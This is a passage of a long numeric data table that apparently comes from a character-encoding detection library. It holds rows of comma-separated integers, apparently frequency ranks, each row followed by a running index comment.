786,4525,5047,1920,1462,1677,2909, # 544 -1699,5048,4526,1424,2442,3140,3690,2600,3353,1775,1941,3460,3983,4213, 309,1369, # 560 -1130,2825, 364,2234,1653,1299,3984,3567,3985,3986,2656, 525,1085,3041, 902,2001, # 576 -1475, 964,4527, 421,1845,1415,1057,2286, 940,1364,3141, 376,4528,4529,1381, 7, # 592 -2527, 983,2383, 336,1710,2684,1846, 321,3461, 559,1131,3042,2752,1809,1132,1313, # 608 - 265,1481,1858,5049, 352,1203,2826,3280, 167,1089, 420,2827, 776, 792,1724,3568, # 624 -4214,2443,3281,5050,4215,5051, 446, 229, 333,2753, 901,3818,1200,1557,4530,2657, # 640 -1921, 395,2754,2685,3819,4216,1836, 125, 916,3209,2626,4531,5052,5053,3820,5054, # 656 -5055,5056,4532,3142,3691,1133,2555,1757,3462,1510,2318,1409,3569,5057,2146, 438, # 672 -2601,2910,2384,3354,1068, 958,3043, 461, 311,2869,2686,4217,1916,3210,4218,1979, # 688 - 383, 750,2755,2627,4219, 274, 539, 385,1278,1442,5058,1154,1965, 384, 561, 210, # 704 - 98,1295,2556,3570,5059,1711,2420,1482,3463,3987,2911,1257, 129,5060,3821, 642, # 720 - 523,2789,2790,2658,5061, 141,2235,1333, 68, 176, 441, 876, 907,4220, 603,2602, # 736 - 710, 171,3464, 404, 549, 18,3143,2398,1410,3692,1666,5062,3571,4533,2912,4534, # 752 -5063,2991, 368,5064, 146, 366, 99, 871,3693,1543, 748, 807,1586,1185, 22,2263, # 768 - 379,3822,3211,5065,3212, 505,1942,2628,1992,1382,2319,5066, 380,2362, 218, 702, # 784 -1818,1248,3465,3044,3572,3355,3282,5067,2992,3694, 930,3283,3823,5068, 59,5069, # 800 - 585, 601,4221, 497,3466,1112,1314,4535,1802,5070,1223,1472,2177,5071, 749,1837, # 816 - 690,1900,3824,1773,3988,1476, 429,1043,1791,2236,2117, 917,4222, 447,1086,1629, # 832 -5072, 556,5073,5074,2021,1654, 844,1090, 105, 550, 966,1758,2828,1008,1783, 686, # 848 -1095,5075,2287, 793,1602,5076,3573,2603,4536,4223,2948,2302,4537,3825, 980,2503, # 864 - 544, 353, 527,4538, 908,2687,2913,5077, 381,2629,1943,1348,5078,1341,1252, 560, # 880 -3095,5079,3467,2870,5080,2054, 973, 886,2081, 143,4539,5081,5082, 157,3989, 496, # 896 -4224, 57, 840, 540,2039,4540,4541,3468,2118,1445, 970,2264,1748,1966,2082,4225, # 912 -3144,1234,1776,3284,2829,3695, 773,1206,2130,1066,2040,1326,3990,1738,1725,4226, # 928 - 279,3145, 51,1544,2604, 423,1578,2131,2067, 173,4542,1880,5083,5084,1583, 264, # 944 - 610,3696,4543,2444, 280, 154,5085,5086,5087,1739, 338,1282,3096, 693,2871,1411, # 960 -1074,3826,2445,5088,4544,5089,5090,1240, 952,2399,5091,2914,1538,2688, 685,1483, # 976 -4227,2475,1436, 953,4228,2055,4545, 671,2400, 79,4229,2446,3285, 608, 567,2689, # 992 -3469,4230,4231,1691, 393,1261,1792,2401,5092,4546,5093,5094,5095,5096,1383,1672, # 1008 -3827,3213,1464, 522,1119, 661,1150, 216, 675,4547,3991,1432,3574, 609,4548,2690, # 1024 -2402,5097,5098,5099,4232,3045, 0,5100,2476, 315, 231,2447, 301,3356,4549,2385, # 1040 -5101, 233,4233,3697,1819,4550,4551,5102, 96,1777,1315,2083,5103, 257,5104,1810, # 1056 -3698,2718,1139,1820,4234,2022,1124,2164,2791,1778,2659,5105,3097, 363,1655,3214, # 1072 -5106,2993,5107,5108,5109,3992,1567,3993, 718, 103,3215, 849,1443, 341,3357,2949, # 1088 -1484,5110,1712, 127, 67, 339,4235,2403, 679,1412, 821,5111,5112, 834, 738, 351, # 1104 -2994,2147, 846, 235,1497,1881, 418,1993,3828,2719, 186,1100,2148,2756,3575,1545, # 1120 -1355,2950,2872,1377, 583,3994,4236,2581,2995,5113,1298,3699,1078,2557,3700,2363, # 1136 - 78,3829,3830, 267,1289,2100,2002,1594,4237, 348, 369,1274,2197,2178,1838,4552, # 1152 -1821,2830,3701,2757,2288,2003,4553,2951,2758, 144,3358, 882,4554,3995,2759,3470, # 1168 -4555,2915,5114,4238,1726, 320,5115,3996,3046, 788,2996,5116,2831,1774,1327,2873, # 1184 -3997,2832,5117,1306,4556,2004,1700,3831,3576,2364,2660, 787,2023, 506, 824,3702, # 1200 - 534, 323,4557,1044,3359,2024,1901, 946,3471,5118,1779,1500,1678,5119,1882,4558, # 1216 - 165, 243,4559,3703,2528, 123, 683,4239, 764,4560, 36,3998,1793, 589,2916, 816, # 1232 - 626,1667,3047,2237,1639,1555,1622,3832,3999,5120,4000,2874,1370,1228,1933, 891, # 1248 -2084,2917, 304,4240,5121, 292,2997,2720,3577, 691,2101,4241,1115,4561, 118, 662, # 1264 -5122, 611,1156, 854,2386,1316,2875, 2, 386, 515,2918,5123,5124,3286, 868,2238, # 1280 -1486, 855,2661, 785,2216,3048,5125,1040,3216,3578,5126,3146, 448,5127,1525,5128, # 1296 -2165,4562,5129,3833,5130,4242,2833,3579,3147, 503, 818,4001,3148,1568, 814, 676, # 1312 -1444, 306,1749,5131,3834,1416,1030, 197,1428, 805,2834,1501,4563,5132,5133,5134, # 1328 -1994,5135,4564,5136,5137,2198, 13,2792,3704,2998,3149,1229,1917,5138,3835,2132, # 1344 -5139,4243,4565,2404,3580,5140,2217,1511,1727,1120,5141,5142, 646,3836,2448, 307, # 1360 -5143,5144,1595,3217,5145,5146,5147,3705,1113,1356,4002,1465,2529,2530,5148, 519, # 1376 -5149, 128,2133, 92,2289,1980,5150,4003,1512, 342,3150,2199,5151,2793,2218,1981, # 1392 -3360,4244, 290,1656,1317, 789, 827,2365,5152,3837,4566, 562, 581,4004,5153, 401, # 1408 -4567,2252, 94,4568,5154,1399,2794,5155,1463,2025,4569,3218,1944,5156, 828,1105, # 1424 -4245,1262,1394,5157,4246, 605,4570,5158,1784,2876,5159,2835, 819,2102, 578,2200, # 1440 -2952,5160,1502, 436,3287,4247,3288,2836,4005,2919,3472,3473,5161,2721,2320,5162, # 1456 -5163,2337,2068, 23,4571, 193, 826,3838,2103, 699,1630,4248,3098, 390,1794,1064, # 1472 -3581,5164,1579,3099,3100,1400,5165,4249,1839,1640,2877,5166,4572,4573, 137,4250, # 1488 - 598,3101,1967, 780, 104, 974,2953,5167, 278, 899, 253, 402, 572, 504, 493,1339, # 1504 -5168,4006,1275,4574,2582,2558,5169,3706,3049,3102,2253, 565,1334,2722, 863, 41, # 1520 -5170,5171,4575,5172,1657,2338, 19, 463,2760,4251, 606,5173,2999,3289,1087,2085, # 1536 -1323,2662,3000,5174,1631,1623,1750,4252,2691,5175,2878, 791,2723,2663,2339, 232, # 1552 -2421,5176,3001,1498,5177,2664,2630, 755,1366,3707,3290,3151,2026,1609, 119,1918, # 1568 -3474, 862,1026,4253,5178,4007,3839,4576,4008,4577,2265,1952,2477,5179,1125, 817, # 1584 -4254,4255,4009,1513,1766,2041,1487,4256,3050,3291,2837,3840,3152,5180,5181,1507, # 1600 -5182,2692, 733, 40,1632,1106,2879, 345,4257, 841,2531, 230,4578,3002,1847,3292, # 1616 -3475,5183,1263, 986,3476,5184, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562, # 1632 -4010,4011,2954, 967,2761,2665,1349, 592,2134,1692,3361,3003,1995,4258,1679,4012, # 1648 -1902,2188,5185, 739,3708,2724,1296,1290,5186,4259,2201,2202,1922,1563,2605,2559, # 1664 -1871,2762,3004,5187, 435,5188, 343,1108, 596, 17,1751,4579,2239,3477,3709,5189, # 1680 -4580, 294,3582,2955,1693, 477, 979, 281,2042,3583, 643,2043,3710,2631,2795,2266, # 1696 -1031,2340,2135,2303,3584,4581, 367,1249,2560,5190,3585,5191,4582,1283,3362,2005, # 1712 - 240,1762,3363,4583,4584, 836,1069,3153, 474,5192,2149,2532, 268,3586,5193,3219, # 1728 -1521,1284,5194,1658,1546,4260,5195,3587,3588,5196,4261,3364,2693,1685,4262, 961, # 1744 -1673,2632, 190,2006,2203,3841,4585,4586,5197, 570,2504,3711,1490,5198,4587,2633, # 1760 -3293,1957,4588, 584,1514, 396,1045,1945,5199,4589,1968,2449,5200,5201,4590,4013, # 1776 - 619,5202,3154,3294, 215,2007,2796,2561,3220,4591,3221,4592, 763,4263,3842,4593, # 1792 -5203,5204,1958,1767,2956,3365,3712,1174, 452,1477,4594,3366,3155,5205,2838,1253, # 1808 -2387,2189,1091,2290,4264, 492,5206, 638,1169,1825,2136,1752,4014, 648, 926,1021, # 1824 -1324,4595, 520,4596, 997, 847,1007, 892,4597,3843,2267,1872,3713,2405,1785,4598, # 1840 -1953,2957,3103,3222,1728,4265,2044,3714,4599,2008,1701,3156,1551, 30,2268,4266, # 1856 -5207,2027,4600,3589,5208, 501,5209,4267, 594,3478,2166,1822,3590,3479,3591,3223, # 1872 - 829,2839,4268,5210,1680,3157,1225,4269,5211,3295,4601,4270,3158,2341,5212,4602, # 1888 -4271,5213,4015,4016,5214,1848,2388,2606,3367,5215,4603, 374,4017, 652,4272,4273, # 1904 - 375,1140, 798,5216,5217,5218,2366,4604,2269, 546,1659, 138,3051,2450,4605,5219, # 1920 -2254, 612,1849, 910, 796,3844,1740,1371, 825,3845,3846,5220,2920,2562,5221, 692, # 1936 - 444,3052,2634, 801,4606,4274,5222,1491, 244,1053,3053,4275,4276, 340,5223,4018, # 1952 -1041,3005, 293,1168, 87,1357,5224,1539, 959,5225,2240, 721, 694,4277,3847, 219, # 1968 -1478, 644,1417,3368,2666,1413,1401,1335,1389,4019,5226,5227,3006,2367,3159,1826, # 1984 - 730,1515, 184,2840, 66,4607,5228,1660,2958, 246,3369, 378,1457, 226,3480, 975, # 2000 -4020,2959,1264,3592, 674, 696,5229, 163,5230,1141,2422,2167, 713,3593,3370,4608, # 2016 -4021,5231,5232,1186, 15,5233,1079,1070,5234,1522,3224,3594, 276,1050,2725, 758, # 2032 -1126, 653,2960,3296,5235,2342, 889,3595,4022,3104,3007, 903,1250,4609,4023,3481, # 2048 -3596,1342,1681,1718, 766,3297, 286, 89,2961,3715,5236,1713,5237,2607,3371,3008, # 2064 -5238,2962,2219,3225,2880,5239,4610,2505,2533, 181, 387,1075,4024, 731,2190,3372, # 2080 -5240,3298, 310, 313,3482,2304, 770,4278, 54,3054, 189,4611,3105,3848,4025,5241, # 2096 -1230,1617,1850, 355,3597,4279,4612,3373, 111,4280,3716,1350,3160,3483,3055,4281, # 2112 -2150,3299,3598,5242,2797,4026,4027,3009, 722,2009,5243,1071, 247,1207,2343,2478, # 2128 -1378,4613,2010, 864,1437,1214,4614, 373,3849,1142,2220, 667,4615, 442,2763,2563, # 2144 -3850,4028,1969,4282,3300,1840, 837, 170,1107, 934,1336,1883,5244,5245,2119,4283, # 2160 -2841, 743,1569,5246,4616,4284, 582,2389,1418,3484,5247,1803,5248, 357,1395,1729, # 2176 -3717,3301,2423,1564,2241,5249,3106,3851,1633,4617,1114,2086,4285,1532,5250, 482, # 2192 -2451,4618,5251,5252,1492, 833,1466,5253,2726,3599,1641,2842,5254,1526,1272,3718, # 2208 -4286,1686,1795, 416,2564,1903,1954,1804,5255,3852,2798,3853,1159,2321,5256,2881, # 2224 -4619,1610,1584,3056,2424,2764, 443,3302,1163,3161,5257,5258,4029,5259,4287,2506, # 2240 -3057,4620,4030,3162,2104,1647,3600,2011,1873,4288,5260,4289, 431,3485,5261, 250, # 2256 - 97, 81,4290,5262,1648,1851,1558, 160, 848,5263, 866, 740,1694,5264,2204,2843, # 2272 -3226,4291,4621,3719,1687, 950,2479, 426, 469,3227,3720,3721,4031,5265,5266,1188, # 2288 - 424,1996, 861,3601,4292,3854,2205,2694, 168,1235,3602,4293,5267,2087,1674,4622, # 2304 -3374,3303, 220,2565,1009,5268,3855, 670,3010, 332,1208, 717,5269,5270,3603,2452, # 2320 -4032,3375,5271, 513,5272,1209,2882,3376,3163,4623,1080,5273,5274,5275,5276,2534, # 2336 -3722,3604, 815,1587,4033,4034,5277,3605,3486,3856,1254,4624,1328,3058,1390,4035, # 2352 -1741,4036,3857,4037,5278, 236,3858,2453,3304,5279,5280,3723,3859,1273,3860,4625, # 2368 -5281, 308,5282,4626, 245,4627,1852,2480,1307,2583, 430, 715,2137,2454,5283, 270, # 2384 - 199,2883,4038,5284,3606,2727,1753, 761,1754, 725,1661,1841,4628,3487,3724,5285, # 2400 -5286, 587, 14,3305, 227,2608, 326, 480,2270, 943,2765,3607, 291, 650,1884,5287, # 2416 -1702,1226, 102,1547, 62,3488, 904,4629,3489,1164,4294,5288,5289,1224,1548,2766, # 2432 - 391, 498,1493,5290,1386,1419,5291,2056,1177,4630, 813, 880,1081,2368, 566,1145, # 2448 -4631,2291,1001,1035,2566,2609,2242, 394,1286,5292,5293,2069,5294, 86,1494,1730, # 2464 -4039, 491,1588, 745, 897,2963, 843,3377,4040,2767,2884,3306,1768, 998,2221,2070, # 2480 - 397,1827,1195,1970,3725,3011,3378, 284,5295,3861,2507,2138,2120,1904,5296,4041, # 2496 -2151,4042,4295,1036,3490,1905, 114,2567,4296, 209,1527,5297,5298,2964,2844,2635, # 2512 -2390,2728,3164, 812,2568,5299,3307,5300,1559, 737,1885,3726,1210, 885, 28,2695, # 2528 -3608,3862,5301,4297,1004,1780,4632,5302, 346,1982,2222,2696,4633,3863,1742, 797, # 2544 -1642,4043,1934,1072,1384,2152, 896,4044,3308,3727,3228,2885,3609,5303,2569,1959, # 2560 -4634,2455,1786,5304,5305,5306,4045,4298,1005,1308,3728,4299,2729,4635,4636,1528, # 2576 -2610, 161,1178,4300,1983, 987,4637,1101,4301, 631,4046,1157,3229,2425,1343,1241, # 2592 -1016,2243,2570, 372, 877,2344,2508,1160, 555,1935, 911,4047,5307, 466,1170, 169, # 2608 -1051,2921,2697,3729,2481,3012,1182,2012,2571,1251,2636,5308, 992,2345,3491,1540, # 2624 -2730,1201,2071,2406,1997,2482,5309,4638, 528,1923,2191,1503,1874,1570,2369,3379, # 2640 -3309,5310, 557,1073,5311,1828,3492,2088,2271,3165,3059,3107, 767,3108,2799,4639, # 2656 -1006,4302,4640,2346,1267,2179,3730,3230, 778,4048,3231,2731,1597,2667,5312,4641, # 2672 -5313,3493,5314,5315,5316,3310,2698,1433,3311, 131, 95,1504,4049, 723,4303,3166, # 2688 -1842,3610,2768,2192,4050,2028,2105,3731,5317,3013,4051,1218,5318,3380,3232,4052, # 2704 -4304,2584, 248,1634,3864, 912,5319,2845,3732,3060,3865, 654, 53,5320,3014,5321, # 2720 -1688,4642, 777,3494,1032,4053,1425,5322, 191, 820,2121,2846, 971,4643, 931,3233, # 2736 - 135, 664, 783,3866,1998, 772,2922,1936,4054,3867,4644,2923,3234, 282,2732, 640, # 2752 -1372,3495,1127, 922, 325,3381,5323,5324, 711,2045,5325,5326,4055,2223,2800,1937, # 2768 -4056,3382,2224,2255,3868,2305,5327,4645,3869,1258,3312,4057,3235,2139,2965,4058, # 2784 -4059,5328,2225, 258,3236,4646, 101,1227,5329,3313,1755,5330,1391,3314,5331,2924, # 2800 -2057, 893,5332,5333,5334,1402,4305,2347,5335,5336,3237,3611,5337,5338, 878,1325, # 2816 -1781,2801,4647, 259,1385,2585, 744,1183,2272,4648,5339,4060,2509,5340, 684,1024, # 2832 -4306,5341, 472,3612,3496,1165,3315,4061,4062, 322,2153, 881, 455,1695,1152,1340, # 2848 - 660, 554,2154,4649,1058,4650,4307, 830,1065,3383,4063,4651,1924,5342,1703,1919, # 2864 -5343, 932,2273, 122,5344,4652, 947, 677,5345,3870,2637, 297,1906,1925,2274,4653, # 2880 -2322,3316,5346,5347,4308,5348,4309, 84,4310, 112, 989,5349, 547,1059,4064, 701, # 2896 -3613,1019,5350,4311,5351,3497, 942, 639, 457,2306,2456, 993,2966, 407, 851, 494, # 2912 -4654,3384, 927,5352,1237,5353,2426,3385, 573,4312, 680, 921,2925,1279,1875, 285, # 2928 - 790,1448,1984, 719,2168,5354,5355,4655,4065,4066,1649,5356,1541, 563,5357,1077, # 2944 -5358,3386,3061,3498, 511,3015,4067,4068,3733,4069,1268,2572,3387,3238,4656,4657, # 2960 -5359, 535,1048,1276,1189,2926,2029,3167,1438,1373,2847,2967,1134,2013,5360,4313, # 2976 -1238,2586,3109,1259,5361, 700,5362,2968,3168,3734,4314,5363,4315,1146,1876,1907, # 2992 -4658,2611,4070, 781,2427, 132,1589, 203, 147, 273,2802,2407, 898,1787,2155,4071, # 3008 -4072,5364,3871,2803,5365,5366,4659,4660,5367,3239,5368,1635,3872, 965,5369,1805, # 3024 -2699,1516,3614,1121,1082,1329,3317,4073,1449,3873, 65,1128,2848,2927,2769,1590, # 3040 -3874,5370,5371, 12,2668, 45, 976,2587,3169,4661, 517,2535,1013,1037,3240,5372, # 3056 -3875,2849,5373,3876,5374,3499,5375,2612, 614,1999,2323,3877,3110,2733,2638,5376, # 3072 -2588,4316, 599,1269,5377,1811,3735,5378,2700,3111, 759,1060, 489,1806,3388,3318, # 3088 -1358,5379,5380,2391,1387,1215,2639,2256, 490,5381,5382,4317,1759,2392,2348,5383, # 3104 -4662,3878,1908,4074,2640,1807,3241,4663,3500,3319,2770,2349, 874,5384,5385,3501, # 3120 -3736,1859, 91,2928,3737,3062,3879,4664,5386,3170,4075,2669,5387,3502,1202,1403, # 3136 -3880,2969,2536,1517,2510,4665,3503,2511,5388,4666,5389,2701,1886,1495,1731,4076, # 3152 -2370,4667,5390,2030,5391,5392,4077,2702,1216, 237,2589,4318,2324,4078,3881,4668, # 3168 -4669,2703,3615,3504, 445,4670,5393,5394,5395,5396,2771, 61,4079,3738,1823,4080, # 3184 -5397, 687,2046, 935, 925, 405,2670, 703,1096,1860,2734,4671,4081,1877,1367,2704, # 3200 -3389, 918,2106,1782,2483, 334,3320,1611,1093,4672, 564,3171,3505,3739,3390, 945, # 3216 -2641,2058,4673,5398,1926, 872,4319,5399,3506,2705,3112, 349,4320,3740,4082,4674, # 3232 -3882,4321,3741,2156,4083,4675,4676,4322,4677,2408,2047, 782,4084, 400, 251,4323, # 3248 -1624,5400,5401, 277,3742, 299,1265, 476,1191,3883,2122,4324,4325,1109, 205,5402, # 3264 -2590,1000,2157,3616,1861,5403,5404,5405,4678,5406,4679,2573, 107,2484,2158,4085, # 3280 -3507,3172,5407,1533, 541,1301, 158, 753,4326,2886,3617,5408,1696, 370,1088,4327, # 3296 -4680,3618, 579, 327, 440, 162,2244, 269,1938,1374,3508, 968,3063, 56,1396,3113, # 3312 -2107,3321,3391,5409,1927,2159,4681,3016,5410,3619,5411,5412,3743,4682,2485,5413, # 3328 -2804,5414,1650,4683,5415,2613,5416,5417,4086,2671,3392,1149,3393,4087,3884,4088, # 3344 -5418,1076, 49,5419, 951,3242,3322,3323, 450,2850, 920,5420,1812,2805,2371,4328, # 3360 -1909,1138,2372,3885,3509,5421,3243,4684,1910,1147,1518,2428,4685,3886,5422,4686, # 3376 -2393,2614, 260,1796,3244,5423,5424,3887,3324, 708,5425,3620,1704,5426,3621,1351, # 3392 -1618,3394,3017,1887, 944,4329,3395,4330,3064,3396,4331,5427,3744, 422, 413,1714, # 3408 -3325, 500,2059,2350,4332,2486,5428,1344,1911, 954,5429,1668,5430,5431,4089,2409, # 3424 -4333,3622,3888,4334,5432,2307,1318,2512,3114, 133,3115,2887,4687, 629, 31,2851, # 3440 -2706,3889,4688, 850, 949,4689,4090,2970,1732,2089,4335,1496,1853,5433,4091, 620, # 3456 -3245, 981,1242,3745,3397,1619,3746,1643,3326,2140,2457,1971,1719,3510,2169,5434, # 3472 -3246,5435,5436,3398,1829,5437,1277,4690,1565,2048,5438,1636,3623,3116,5439, 869, # 3488 -2852, 655,3890,3891,3117,4092,3018,3892,1310,3624,4691,5440,5441,5442,1733, 558, # 3504 -4692,3747, 335,1549,3065,1756,4336,3748,1946,3511,1830,1291,1192, 470,2735,2108, # 3520 -2806, 913,1054,4093,5443,1027,5444,3066,4094,4693, 982,2672,3399,3173,3512,3247, # 3536 -3248,1947,2807,5445, 571,4694,5446,1831,5447,3625,2591,1523,2429,5448,2090, 984, # 3552 -4695,3749,1960,5449,3750, 852, 923,2808,3513,3751, 969,1519, 999,2049,2325,1705, # 3568 -5450,3118, 615,1662, 151, 597,4095,2410,2326,1049, 275,4696,3752,4337, 568,3753, # 3584 -3626,2487,4338,3754,5451,2430,2275, 409,3249,5452,1566,2888,3514,1002, 769,2853, # 3600 - 194,2091,3174,3755,2226,3327,4339, 628,1505,5453,5454,1763,2180,3019,4096, 521, # 3616 -1161,2592,1788,2206,2411,4697,4097,1625,4340,4341, 412, 42,3119, 464,5455,2642, # 3632 -4698,3400,1760,1571,2889,3515,2537,1219,2207,3893,2643,2141,2373,4699,4700,3328, # 3648 -1651,3401,3627,5456,5457,3628,2488,3516,5458,3756,5459,5460,2276,2092, 460,5461, # 3664 -4701,5462,3020, 962, 588,3629, 289,3250,2644,1116, 52,5463,3067,1797,5464,5465, # 3680 -5466,1467,5467,1598,1143,3757,4342,1985,1734,1067,4702,1280,3402, 465,4703,1572, # 3696 - 510,5468,1928,2245,1813,1644,3630,5469,4704,3758,5470,5471,2673,1573,1534,5472, # 3712 -5473, 536,1808,1761,3517,3894,3175,2645,5474,5475,5476,4705,3518,2929,1912,2809, # 3728 -5477,3329,1122, 377,3251,5478, 360,5479,5480,4343,1529, 551,5481,2060,3759,1769, # 3744 -2431,5482,2930,4344,3330,3120,2327,2109,2031,4706,1404, 136,1468,1479, 672,1171, # 3760 -3252,2308, 271,3176,5483,2772,5484,2050, 678,2736, 865,1948,4707,5485,2014,4098, # 3776 -2971,5486,2737,2227,1397,3068,3760,4708,4709,1735,2931,3403,3631,5487,3895, 509, # 3792 -2854,2458,2890,3896,5488,5489,3177,3178,4710,4345,2538,4711,2309,1166,1010, 552, # 3808 - 681,1888,5490,5491,2972,2973,4099,1287,1596,1862,3179, 358, 453, 736, 175, 478, # 3824 -1117, 905,1167,1097,5492,1854,1530,5493,1706,5494,2181,3519,2292,3761,3520,3632, # 3840 -4346,2093,4347,5495,3404,1193,2489,4348,1458,2193,2208,1863,1889,1421,3331,2932, # 3856 -3069,2182,3521, 595,2123,5496,4100,5497,5498,4349,1707,2646, 223,3762,1359, 751, # 3872 -3121, 183,3522,5499,2810,3021, 419,2374, 633, 704,3897,2394, 241,5500,5501,5502, # 3888 - 838,3022,3763,2277,2773,2459,3898,1939,2051,4101,1309,3122,2246,1181,5503,1136, # 3904 -2209,3899,2375,1446,4350,2310,4712,5504,5505,4351,1055,2615, 484,3764,5506,4102, # 3920 - 625,4352,2278,3405,1499,4353,4103,5507,4104,4354,3253,2279,2280,3523,5508,5509, # 3936 -2774, 808,2616,3765,3406,4105,4355,3123,2539, 526,3407,3900,4356, 955,5510,1620, # 3952 -4357,2647,2432,5511,1429,3766,1669,1832, 994, 928,5512,3633,1260,5513,5514,5515, # 3968 -1949,2293, 741,2933,1626,4358,2738,2460, 867,1184, 362,3408,1392,5516,5517,4106, # 3984 -4359,1770,1736,3254,2934,4713,4714,1929,2707,1459,1158,5518,3070,3409,2891,1292, # 4000 -1930,2513,2855,3767,1986,1187,2072,2015,2617,4360,5519,2574,2514,2170,3768,2490, # 4016 -3332,5520,3769,4715,5521,5522, 666,1003,3023,1022,3634,4361,5523,4716,1814,2257, # 4032 - 574,3901,1603, 295,1535, 705,3902,4362, 283, 858, 417,5524,5525,3255,4717,4718, # 4048 -3071,1220,1890,1046,2281,2461,4107,1393,1599, 689,2575, 388,4363,5526,2491, 802, # 4064 -5527,2811,3903,2061,1405,2258,5528,4719,3904,2110,1052,1345,3256,1585,5529, 809, # 4080 -5530,5531,5532, 575,2739,3524, 956,1552,1469,1144,2328,5533,2329,1560,2462,3635, # 4096 -3257,4108, 616,2210,4364,3180,2183,2294,5534,1833,5535,3525,4720,5536,1319,3770, # 4112 -3771,1211,3636,1023,3258,1293,2812,5537,5538,5539,3905, 607,2311,3906, 762,2892, # 4128 -1439,4365,1360,4721,1485,3072,5540,4722,1038,4366,1450,2062,2648,4367,1379,4723, # 4144 -2593,5541,5542,4368,1352,1414,2330,2935,1172,5543,5544,3907,3908,4724,1798,1451, # 4160 -5545,5546,5547,5548,2936,4109,4110,2492,2351, 411,4111,4112,3637,3333,3124,4725, # 4176 -1561,2674,1452,4113,1375,5549,5550, 47,2974, 316,5551,1406,1591,2937,3181,5552, # 4192 -1025,2142,3125,3182, 354,2740, 884,2228,4369,2412, 508,3772, 726,3638, 996,2433, # 4208 -3639, 729,5553, 392,2194,1453,4114,4726,3773,5554,5555,2463,3640,2618,1675,2813, # 4224 - 919,2352,2975,2353,1270,4727,4115, 73,5556,5557, 647,5558,3259,2856,2259,1550, # 4240 -1346,3024,5559,1332, 883,3526,5560,5561,5562,5563,3334,2775,5564,1212, 831,1347, # 4256 -4370,4728,2331,3909,1864,3073, 720,3910,4729,4730,3911,5565,4371,5566,5567,4731, # 4272 -5568,5569,1799,4732,3774,2619,4733,3641,1645,2376,4734,5570,2938, 669,2211,2675, # 4288 -2434,5571,2893,5572,5573,1028,3260,5574,4372,2413,5575,2260,1353,5576,5577,4735, # 4304 -3183, 518,5578,4116,5579,4373,1961,5580,2143,4374,5581,5582,3025,2354,2355,3912, # 4320 - 516,1834,1454,4117,2708,4375,4736,2229,2620,1972,1129,3642,5583,2776,5584,2976, # 4336 -1422, 577,1470,3026,1524,3410,5585,5586, 432,4376,3074,3527,5587,2594,1455,2515, # 4352 -2230,1973,1175,5588,1020,2741,4118,3528,4737,5589,2742,5590,1743,1361,3075,3529, # 4368 -2649,4119,4377,4738,2295, 895, 924,4378,2171, 331,2247,3076, 166,1627,3077,1098, # 4384 -5591,1232,2894,2231,3411,4739, 657, 403,1196,2377, 542,3775,3412,1600,4379,3530, # 4400 -5592,4740,2777,3261, 576, 530,1362,4741,4742,2540,2676,3776,4120,5593, 842,3913, # 4416 -5594,2814,2032,1014,4121, 213,2709,3413, 665, 621,4380,5595,3777,2939,2435,5596, # 4432 -2436,3335,3643,3414,4743,4381,2541,4382,4744,3644,1682,4383,3531,1380,5597, 724, # 4448 -2282, 600,1670,5598,1337,1233,4745,3126,2248,5599,1621,4746,5600, 651,4384,5601, # 4464 -1612,4385,2621,5602,2857,5603,2743,2312,3078,5604, 716,2464,3079, 174,1255,2710, # 4480 -4122,3645, 548,1320,1398, 728,4123,1574,5605,1891,1197,3080,4124,5606,3081,3082, # 4496 -3778,3646,3779, 747,5607, 635,4386,4747,5608,5609,5610,4387,5611,5612,4748,5613, # 4512 -3415,4749,2437, 451,5614,3780,2542,2073,4388,2744,4389,4125,5615,1764,4750,5616, # 4528 -4390, 350,4751,2283,2395,2493,5617,4391,4126,2249,1434,4127, 488,4752, 458,4392, # 4544 -4128,3781, 771,1330,2396,3914,2576,3184,2160,2414,1553,2677,3185,4393,5618,2494, # 4560 -2895,2622,1720,2711,4394,3416,4753,5619,2543,4395,5620,3262,4396,2778,5621,2016, # 4576 -2745,5622,1155,1017,3782,3915,5623,3336,2313, 201,1865,4397,1430,5624,4129,5625, # 4592 -5626,5627,5628,5629,4398,1604,5630, 414,1866, 371,2595,4754,4755,3532,2017,3127, # 4608 -4756,1708, 960,4399, 887, 389,2172,1536,1663,1721,5631,2232,4130,2356,2940,1580, # 4624 -5632,5633,1744,4757,2544,4758,4759,5634,4760,5635,2074,5636,4761,3647,3417,2896, # 4640 -4400,5637,4401,2650,3418,2815, 673,2712,2465, 709,3533,4131,3648,4402,5638,1148, # 4656 - 502, 634,5639,5640,1204,4762,3649,1575,4763,2623,3783,5641,3784,3128, 948,3263, # 4672 - 121,1745,3916,1110,5642,4403,3083,2516,3027,4132,3785,1151,1771,3917,1488,4133, # 4688 -1987,5643,2438,3534,5644,5645,2094,5646,4404,3918,1213,1407,2816, 531,2746,2545, # 4704 -3264,1011,1537,4764,2779,4405,3129,1061,5647,3786,3787,1867,2897,5648,2018, 120, # 4720 -4406,4407,2063,3650,3265,2314,3919,2678,3419,1955,4765,4134,5649,3535,1047,2713, # 4736 -1266,5650,1368,4766,2858, 649,3420,3920,2546,2747,1102,2859,2679,5651,5652,2000, # 4752 -5653,1111,3651,2977,5654,2495,3921,3652,2817,1855,3421,3788,5655,5656,3422,2415, # 4768 -2898,3337,3266,3653,5657,2577,5658,3654,2818,4135,1460, 856,5659,3655,5660,2899, # 4784 -2978,5661,2900,3922,5662,4408, 632,2517, 875,3923,1697,3924,2296,5663,5664,4767, # 4800 -3028,1239, 580,4768,4409,5665, 914, 936,2075,1190,4136,1039,2124,5666,5667,5668, # 4816 -5669,3423,1473,5670,1354,4410,3925,4769,2173,3084,4137, 915,3338,4411,4412,3339, # 4832 -1605,1835,5671,2748, 398,3656,4413,3926,4138, 328,1913,2860,4139,3927,1331,4414, # 4848 -3029, 937,4415,5672,3657,4140,4141,3424,2161,4770,3425, 524, 742, 538,3085,1012, # 4864 -5673,5674,3928,2466,5675, 658,1103, 225,3929,5676,5677,4771,5678,4772,5679,3267, # 4880 -1243,5680,4142, 963,2250,4773,5681,2714,3658,3186,5682,5683,2596,2332,5684,4774, # 4896 -5685,5686,5687,3536, 957,3426,2547,2033,1931,2941,2467, 870,2019,3659,1746,2780, # 4912 -2781,2439,2468,5688,3930,5689,3789,3130,3790,3537,3427,3791,5690,1179,3086,5691, # 4928 -3187,2378,4416,3792,2548,3188,3131,2749,4143,5692,3428,1556,2549,2297, 977,2901, # 4944 -2034,4144,1205,3429,5693,1765,3430,3189,2125,1271, 714,1689,4775,3538,5694,2333, # 4960 -3931, 533,4417,3660,2184, 617,5695,2469,3340,3539,2315,5696,5697,3190,5698,5699, # 4976 -3932,1988, 618, 